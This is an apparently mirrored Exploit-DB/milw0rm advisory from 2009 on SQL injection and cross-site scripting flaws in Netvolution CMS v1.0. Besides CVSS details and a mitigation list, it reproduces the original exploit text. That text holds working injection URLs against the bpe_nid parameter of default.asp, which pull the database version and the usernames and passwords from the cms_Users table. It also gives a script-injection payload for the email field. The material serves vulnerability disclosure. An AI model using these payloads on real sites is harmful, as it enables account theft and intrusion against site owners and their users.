SQL Injection & Cross Site Scripting in CMS netvolution v1.0

vendor:

Netvolution

by:

Ellinas aka Greek

7.5

CVSS

HIGH

SQL Injection & Cross Site Scripting

89 (SQL Injection) & 79 (Cross Site Scripting)

CWE

Product Name: Netvolution

Affected Version From: CMS netvolution v1.0

Affected Version To: CMS netvolution v1.0

Patch Exists: NO

Related CWE: N/A

CPE: a:atcom:netvolution:1.0

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2009

SQL Injection & Cross Site Scripting in CMS netvolution v1.0

SQL Injection can be used to find version, password and username of the CMS netvolution v1.0. Cross Site Scripting can be used to set the variable email to >"><ScRiPt%20%0a%0d>alert(XSS)%3B</ScRiPt>

Mitigation:

Input validation and sanitization, use of prepared statements, use of parameterized queries, use of stored procedures, use of least privilege accounts, use of web application firewalls, use of secure coding practices

Source

Exploit-DB raw data:

###############################################
Found By : Ellinas aka Greek                                                  
Email: ellinas.security@gmail.com                            
Vulnerable Product: CMS netvolution v1.0                   
website  : www.netvolution.net , www.atcom.gr           
##############################################

SQL Injection

Version Finding:

http://site/default.asp?pid=8&la=1&bpe_ac=2&bpe_nid=100%20AND%20SUBSTRING(@@version,1,130)=5


Password Finding:

http://site/default.asp?pid=8&la=1&bpe_ac=2&bpe_nid=101%20AND%20
(select%20(substring(userPassword,1,10000))%20FROM%20cms_Users%20where%20userID=4)%20%3E%20608


Username Finding:

http://site/default.asp?pid=8&la=1&bpe_ac=2&bpe_nid=101%20
AND%20(select%20(substring(userName,1,10000))%20FROM%20cms_Users%20where%20userID=4)%20%3E%20608

Cross Site Scripting

Set the variable email to >"><ScRiPt%20%0a%0d>alert(XSS)%3B</ScRiPt>


************************
Many Greetings to:
                            
All Greek Hackers.
*************************

# milw0rm.com [2009-01-14]